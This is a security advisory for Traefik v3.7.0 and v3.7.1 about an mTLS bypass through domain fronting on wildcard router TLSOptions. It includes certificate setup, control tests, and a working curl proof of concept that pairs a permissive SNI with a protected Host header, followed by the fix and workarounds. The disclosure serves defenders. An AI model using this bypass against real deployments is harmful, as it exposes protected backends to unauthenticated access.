Advisory

GHSA-5r4w-85f3-pw66

Details, part 2 of 2. The advisory

Details

Certificate generation:

rm -rf certs
mkdir -p certs

openssl req -x509 -newkey rsa:2048 -nodes -days 7 \
  -keyout certs/ca.key \
  -out certs/ca.crt \
  -subj "/CN=traefik-poc-ca"

openssl req -newkey rsa:2048 -nodes \
  -keyout certs/server.key \
  -out certs/server.csr \
  -subj "/CN=public.example.net" \
  -addext "subjectAltName=DNS:public.example.net,DNS:api.example.com,DNS:*.example.com"

openssl x509 -req \
  -in certs/server.csr \
  -CA certs/ca.crt \
  -CAkey certs/ca.key \
  -CAcreateserial \
  -out certs/server.crt \
  -days 7 \
  -sha256 \
  -copy_extensions copyall

PoC

Start Traefik with the configuration above.

Test environment:

  • Traefik images tested: v3.7.0, v3.7.1
  • Backend image: traefik/whoami:v1.11
  • Client: curl with HTTPS/HTTP2 support
  • EntryPoint: TCP port 8443 exposed locally
  • Provider: file provider

Control 1: the permissive public route works normally and reaches the public backend:

curl --noproxy '*' --http2 -skv \
  --resolve public.example.net:8443:127.0.0.1 \
  https://public.example.net:8443/

Observed result:

HTTP/2 200
Name: PUBLIC
Host: public.example.net:8443

Control 2: direct access to the wildcard-protected host without a client certificate is blocked:

curl --noproxy '*' --http2 -skv \
  --resolve api.example.com:8443:127.0.0.1 \
  https://api.example.com:8443/

Observed result:

TLS alert ... certificate required

Bypass: use the permissive public SNI for the TLS handshake, but send the protected wildcard host in the HTTP request:

curl --noproxy '*' --http2 -skv \
  --resolve public.example.net:8443:127.0.0.1 \
  https://public.example.net:8443/ \
  -H 'Host: api.example.com'

Observed result:

HTTP/2 200
Name: PROTECTED
Host: api.example.com

The curl verbose output shows that the HTTP/2 request authority / Host value is api.example.com, while the TLS SNI is taken from the URL host public.example.net:

* [HTTP/2] [1] [:authority: api.example.com]
> Host: api.example.com

Expected result:

HTTP/2 421
Misdirected Request

Traefik should return 421 Misdirected Request because the HTTP Host header resolves to the wildcard route's mtls TLSOptions while the TLS SNI resolves to permissive/default TLSOptions.

Negative control with exact host:

Replacing the protected router rule with exact Host("api.example.com") while keeping tls.options=mtls causes the same domain-fronting request to be rejected:

http:
  routers:
    protected:
      rule: Host(`api.example.com`)
      service: protected
      tls:
        options: mtls

Run the same request:

curl --noproxy '*' --http2 -skv \
  --resolve public.example.net:8443:127.0.0.1 \
  https://public.example.net:8443/ \
  -H 'Host: api.example.com'

Observed result:

HTTP/2 421
Misdirected Request

This shows that the bypass depends on wildcard TLSOptions resolution in SNICheck, not on a generic failure of the domain-fronting check.

Regression test used during validation:

go test ./pkg/middlewares/snicheck \
  -run TestSNICheck_WildcardTLSOptionsCurrentBehavior \
  -count=1

Version matrix observed with Docker images:

v3.6.17: this file-provider wildcard PoC did not reproduce; the wildcard route returned 404 in this setup
v3.7.0: affected
v3.7.1: affected

Impact

Deployments that use wildcard router TLSOptions for client certificate authentication can expose protected backends to unauthenticated clients when another permissive SNI exists on the same entrypoint.

The TLS handshake is completed under the permissive/default TLS options selected for the SNI, while the later HTTP router still dispatches the request to the wildcard route that was configured with mTLS-specific TLSOptions. This bypasses a security boundary that administrators can reasonably expect to be enforced by tls.options=mtls on the wildcard route.

A possible fix would be for SNICheck to resolve tlsOptionsForHost using the same wildcard-aware host matching semantics used by the router / HostSNI matching, rather than exact map lookups only.

Possible workarounds until a fix is available:

  • Avoid wildcard router TLSOptions for mTLS access control.
  • Enumerate exact protected hostnames instead of using wildcard Host rules.
  • Enforce mTLS in the default TLS options as well.
  • Avoid mixing permissive and mTLS-protected hosts on the same entrypoint.
  • Block or reject domain-fronted requests at another layer.

</details>

---

Sources & licences